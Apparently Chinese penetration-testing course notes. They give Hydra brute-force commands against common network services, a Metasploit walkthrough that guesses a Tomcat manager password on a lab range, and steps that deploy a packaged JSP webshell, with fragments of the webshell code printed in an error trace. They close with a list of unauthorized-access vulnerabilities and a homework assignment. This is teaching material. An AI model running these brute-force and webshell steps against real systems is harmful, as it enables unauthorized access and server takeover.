

服务弱密码爆破

1.在线爆破

在线爆破受网络因素、字典、电脑性能影响较大。扫描端口分析服务进行爆破攻击：smb、telnet、ftp、rdp、mysql、mssql、ssh

Hydra爆破telnet

```
1 | hydra -L /root/dict/username.txt -P /root/dict/password.txt -t 20  
telnet://192.168.198.133:23
```

Hydra爆破ftp

```
1 | hydra -L /root/dict/username.txt -P /root/dict/password.txt -t 20  
ftp://192.168.198.133:21
```

Hydra爆破smb

```
1 | hydra -L /root/dict/username.txt -P /root/dict/password.txt -t 20  
smb://192.168.198.133:445
```

Hydra爆破ssh

```
1 | hydra -L /root/dict/username.txt -P /root/dict/password.txt -t 20  
ssh://192.168.198.131:22
```

Hydra爆破rdp。存在误报情况，未知原因：

```
1 | hydra -L /root/dict/username.txt -P /root/dict/password.txt -t 20  
rdp://192.168.198.133:3389
```

Tomcat后台弱口令getshell

通过tomcat弱口令进入后台，部署木马获取上面靶场的shell。

正文

示例目标地址：<http://219.153.49.228:47043/>

Apache Tomcat/8.0.33



If you're seeing this, you've successfully installed Tomcat. Congratulations!



Recommended Reading:

[Security Considerations HOW-TO](#)

[Manager Application HOW-TO](#)

[Clustering/Session Replication HOW-TO](#)

Server Status

Manager App

Host Manager

Developer Quick Start

[Tomcat Setup](#)

[First Web Application](#)

[Realms & AAA](#)

[JDBC DataSources](#)

[Examples](#)

[Servlet Specifications](#)

[Tomcat Versions](#)

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打开MSF:

```
root@kali: ~# msfconsole
[*] Failed to connect to the database: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432?
[*] Starting the Metasploit Framework console...]
```

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搜索tomcat利用脚本:

```
msf > search tomcat
[!] Module database cache not built yet, using slow search

Matching Modules
=====
Name                               Disclosure Date  Rank    Description
-----
auxiliary/admin/http/tomcat_administration 2009-01-09      normal Tomcat Administration Tool Default Access
auxiliary/admin/http/tomcat_utf8_traversal 2009-01-09      normal Tomcat UTF-8 Directory Traversal Vulnerability
auxiliary/admin/http/trendmicro_dlp_traversal 2009-01-09      normal TrendMicro Data Loss Prevention 5.5 Directory Traversal
auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-06      normal Apache Commons FileUpload and Apache Tomcat DoS
auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09      normal Apache Tomcat Transfer-Encoding Information Disclosure and DoS
auxiliary/dos/http/hashcollision_dos 2011-12-28      normal Hashtable Collisions
auxiliary/scanner/http/tomcat_enum normal          Apache Tomcat User Enumeration
auxiliary/scanner/http/tomcat_mgr_login normal          Tomcat Application Manager Login Utility
exploit/multi/http/struts_code_exec_classloader 2014-03-06      manual   Apache Struts Classloader Manipulation Remote Code Execution
exploit/multi/http/struts_dev_mode 2012-01-06      excellent Apache Struts 2 Developer Mode OGNL Execution
exploit/multi/http/tomcat_mgr_deploy 2009-11-09      excellent Apache Tomcat Manager Application Deployer Authenticated Code Execution
exploit/multi/http/tomcat_mgr_upload 2009-11-09      excellent Apache Tomcat Manager Authenticated Upload Code Execution
exploit/multi/http/zenworks_configuration_management_upload 2015-04-07      excellent Novell ZENworks Configuration Management Arbitrary File Upload
post/multi/gather/tomcat_gather normal          Gather Tomcat Credentials
post/windows/gather/enum_tomcat normal          Windows Gather Apache Tomcat Enumeration
```

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弱口令的话, 就用下面这个模块吧

```
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) >
```

查看该脚本需要什么参数

```
msf auxiliary(tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):

Name                               Current Setting  Required  Description
-----
BLANK_PASSWORDS                    false           no        Try blank passwords for all users
BRUTEFORCE_SPEED                   5               yes       How fast to bruteforce, from 0 to 5
DB_ALL_CREDS                       false           no        Try each user/password couple stored in the current database
DB_ALL_PASS                        false           no        Add all passwords in the current database to the list
DB_ALL_USERS                       false           no        Add all users in the current database to the list
PASSWORD                          false           no        The HTTP password to specify for authentication
PASS_FILE                          /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt no        File containing passwords, one per line
Proxies                            false           no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS                             true            yes       The target address range or CIDR identifier
RPORT                              8080            yes       The target port (TCP)
SSL                                false           no        Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS                    false           yes       Stop guessing when a credential works for a host
TARGETURI                          /manager/html   yes       URI for Manager login. Default is /manager/html
THREADS                            1               yes       The number of concurrent threads
USERNAME                           false           no        The HTTP username to specify for authentication
USERPASS_FILE                      /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt no        File containing users and passwords separated by space, one p
air per line
USER_AS_PASS                       false           no        Try the username as the password for all users
USER_FILE                          /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt no        File containing users, one per line
VERBOSE                            true            yes       Whether to print output for all attempts
VHOST                              false           no        HTTP server virtual host
```

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设置远程主机IP和端口, 其他默认就好了

```
msf auxiliary(tomcat_mgr_login) > set rhosts 219.153.49.228
rhosts => 219.153.49.228
msf auxiliary(tomcat_mgr_login) > set rport 47043
rport => 47043
msf auxiliary(tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):
```

Name	Current Setting	Required	Description
BLANK PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB ALL CREDS	false	no	Try each user/password couple stored in the current database
DB ALL PASS	false	no	Add all passwords in the current database to the list
DB ALL USERS	false	no	Add all users in the current database to the list
PASSWORD		no	The HTTP password to specify for authentication
PASS FILE	/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt	no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	219.153.49.228	yes	The target address range or CIDR identifier
RPORT	47043	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
TARGETURI	/manager/html	yes	URI for Manager Login. Default is /manager/html
THREADS	1	yes	The number of concurrent threads
USERNAME		no	The HTTP username to specify for authentication
USERPASS FILE	/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt	no	File containing users and passwords separated by space, one p
air per line			
USER AS PASS	false	no	Try the username as the password for all users
USER FILE	/usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt	no	File containing users, one per line
VERBOSE	true	yes	Whether to print output for all attempts
VMOST		no	HTTP server virtual host

默认字典居然不行

```
root@kali: ~
[+] 219.153.49.228:47043 - LOGIN FAILED: role1:admin (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: role1:manager (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: role1:role1 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: role1:root (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: role1:tomcat (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: role1:s3cret (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: role1:vagrant (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: root:admin (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: root:manager (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: root:role1 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: root:root (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: root:tomcat (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: root:s3cret (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: root:vagrant (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: tomcat:root (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: tomcat:tomcat (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: tomcat:s3cret (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: tomcat:vagrant (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: both:admin (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: both:manager (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: both:role1 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: both:root (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: both:tomcat (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: both:s3cret (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: both:vagrant (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: j2deployers:j2deployer (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: owwebusr:0W*busr1 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: cxsdk:kdsxc (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: root:owaspbwa (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: ADMIN:ADMIN (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: xampp:xampp (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: tomcat:s3cret (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: QCC:QLog1c66 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: admin:vagrant (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

还是得自己设置一个字典啊

```
[!] No active DB -- Credential data will not be saved!
[+] 219.153.49.228:47043 - LOGIN SUCCESSFUL: admin:123456
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:123456 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:password (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:12345678 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:qwerty (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:123456789 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:12345 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:1234 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:1234 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:111111 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:1234567 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:dragon (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:123123 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:baseball (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:abc123 (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:football (Incorrect)
[-] 219.153.49.228:47043 - LOGIN FAILED: manager:monkey (Incorrect)
^C[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
```

输入账号密码，进入后台

Message:	OK		
Manager			
List Applications	HTML Manager Help	Manager Help	Server Status
Applications			
Path	Version	Display Name	Running Sessions Commands
/	None specified	Welcome to Tomcat	<div> <div>true</div> <div>0</div> <div> <div>Start</div> <div>Stop</div> <div>Reload</div> <div>Undeploy</div> </div> <div> <div>Expire sessions</div> <div>with idle ≥ 30</div> <div>minutes</div> </div> </div>
/host-manager	None specified	Tomcat Host Manager Application	<div> <div>true</div> <div>0</div> <div> <div>Start</div> <div>Stop</div> <div>Reload</div> <div>Undeploy</div> </div> <div> <div>Expire sessions</div> <div>with idle ≥ 30</div> <div>minutes</div> </div> </div>
/manager	None specified	Tomcat Manager Application	<div> <div>true</div> <div>2</div> <div> <div>Start</div> <div>Stop</div> <div>Reload</div> <div>Undeploy</div> </div> <div> <div>Expire sessions</div> <div>with idle ≥ 30</div> <div>minutes</div> </div> </div>
Deploy			

WAR file to deploy

Select WAR file to upload

Applications					
Path	Version	Display Name	Running	Sessions	Commands
/	None specified	Welcome to Tomcat	true	0	<div> Start Stop Reload Undeploy </div> <div> Expire sessions with idle ≥ 30 minutes </div>
/host-manager	None specified	Tomcat Host Manager Application	true	0	<div> Start Stop Reload Undeploy </div> <div> Expire sessions with idle ≥ 30 minutes </div>
/manager	None specified	Tomcat Manager Application	true	2	<div> Start Stop Reload Undeploy </div> <div> Expire sessions with idle ≥ 30 minutes </div>
/one	None specified		true	0	<div> Start Stop Reload Undeploy </div> <div> Expire sessions with idle ≥ 30 minutes </div>

https://blog.csdn.net/qq_40493191/article/details/104410407

19.153.49.228:2043/one.jsp

HTTP Status 500 - An exception occurred processing JSP page /one.jsp at line 45

Type Exception report

Message An exception occurred processing JSP page /one.jsp at line 45

Description The server encountered an internal error that prevented it from fulfilling this request.

Exception

```
java.io.IOException: An exception occurred processing JSP page /one.jsp at line 45
42: catch(Exception e){sb.append("Result\t|\t|\t\r\n").trym.execute(date(q).sb.append("Execute Successfully!\t|\t|\t\r\n");
43: }catch(Exception ee){sb.append(ee.toString()+"\t|\t|\t\r\n");}m.close();c.close();
44: }</%>
45: String c=request.getParameter("c0"+"_"+request.setCharacterEncoding(cs).response.setContentType("text/html; charset="+cs);
46: String Z=EC(request.getParameter(Pwd)+"_"+cs).String z1=EC(request.getParameter("z1")+""),cs).String z2=EC(request.getParameter("z2")+""),cs);
47: StringBuffer sb=new StringBuffer("");try{sb.append(">"+r+"\r\n");
48: if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent().sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
```

Stacktrace:

```
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:466)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:396)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:340)
javax.servlet.http.HttpServlet.service(HttpServlet.java:729)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
```

Root cause

```
java.io.UnsupportedEncodingException: The character encoding [null] is not supported
org.apache.tomcat.util.buf.B2CConverter.getCharSetLower(B2CConverter.java:78)
org.apache.tomcat.util.buf.B2CConverter.getCharSet(B2CConverter.java:65)
org.apache.catalina.connector.Request.setCharacterEncoding(Request.java:1600)
org.apache.catalina.connector.RequestFacade.setCharacterEncoding(RequestFacade.java:328)
org.apache.jsp.one.jsp._jspService(one.jsp.java:165)
org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
javax.servlet.http.HttpServlet.service(HttpServlet.java:729)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:438)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:396)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:340)
javax.servlet.http.HttpServlet.service(HttpServlet.java:729)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
```

Note The full stack trace of the root cause is available in the Apache Tomcat/8.0.33 logs.

Apache Tomcat/8.0.33

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```
jar cvf shell.war index.jsp
```

电脑 > 下载 > caidao				搜索"caid..."
名称	修改日期	类型	大小	
 index.jsp	2019/1/20 10:02	JSP 文件	7 KB	
 shell.war	2019/1/20 10:16	WAR 文件	3 KB	

最终成功获取到Flag

redis未授权访问控制服务器

漏洞复现——redis未授权访问控制服务器

历史上的未授权访问漏洞有哪些？涉及的组件是什么？

未授权访问漏洞在2017年左右大量被发现，主要涉及的系统为分布式系统和网络服务。

1. [Redis 未授权访问漏洞](#)，NoSQL数据库管理系统。
2. [MongoDB未授权访问漏洞](#)，NoSQL数据库管理系统。
3. [Memcached 未授权访问漏洞](#)，分布式内存缓存数据库。
4. [Jboss未授权访问漏洞](#)，java中间件。
5. [VNC未授权访问漏洞](#)，远程控制工具。
6. [Docker未授权访问漏洞](#)，半虚拟化容器工具。
7. [ZooKeeper 未授权访问漏洞](#)，大数据生态中的进程协调服务。
8. [Rsync未授权访问漏洞](#)，文件远程同步工具。
9. [Hadoop未授权访问漏洞](#)，大数据系统。
10. [Jenkins未授权访问漏洞](#)，持续集成管理工具。
12. [CouchDB未授权访问漏洞](#)，易用的开源NoSQL数据库管理系统。
13. [LDAP未授权访问漏洞](#)，中心化的认证服务协议。
14. [ActiveMQ未授权访问漏洞](#)，分布式系统的消息队列服务
15. [Jupyter Notebook未授权访问漏洞](#)，同时提供笔记编写、代码运行的一种
16. [Kibana未授权访问漏洞](#)，数据可视化工具，ELK中的一个组件。
17. [RabbitMQ未授权访问漏洞](#)，分布式系统的消息队列服务
18. [Springboot actuator未授权访问漏洞](#)，Springboot监控功能。
19. [FTP未授权访问漏洞](#)
20. [dubbo未授权访问漏洞](#)，一个分布式服务框架，用于多个系统间的相互调用的。基于这个功能，然后衍生出服务的注册、发现，监控、路由、治理，多协议支持等等。
21. [NFS未授权访问漏洞](#)，网络文件系统
22. [Druid未授权访问漏洞](#)，数据库连接池。
23. [Windows ipc共享未授权访问漏洞](#)
24. [宝塔未授权访问漏洞](#)，PHP网站服务器管理面板
25. [PHP-FPM Fastcgi未授权访问漏洞](#)

[26. Weblogic未授权访问漏洞](#)，另一个java中间件。

推荐的了解和复现的未授权访问漏洞

备选：

gitlab——CVE-2021-22205

Weblogic——CVE-2021-2109

Apache Shiro——CVE-2022-32532

Zabbix——CVE-2022-23134

Zimbra——CVE-2022-27925

确保能够：

回答：最近两年有哪些未授权访问漏洞呀？有什么危害。

复现：下面至少2个

描述：非常简要地描述复现过程。

收集：代码、工具。将来工作能够快速找到。

作业：

按照上述要求，编写>=2个未授权访问漏洞复现的word文档。提交到课堂派上。

记录的文字必须自己写，命令可以复制粘贴。工具必须要归类。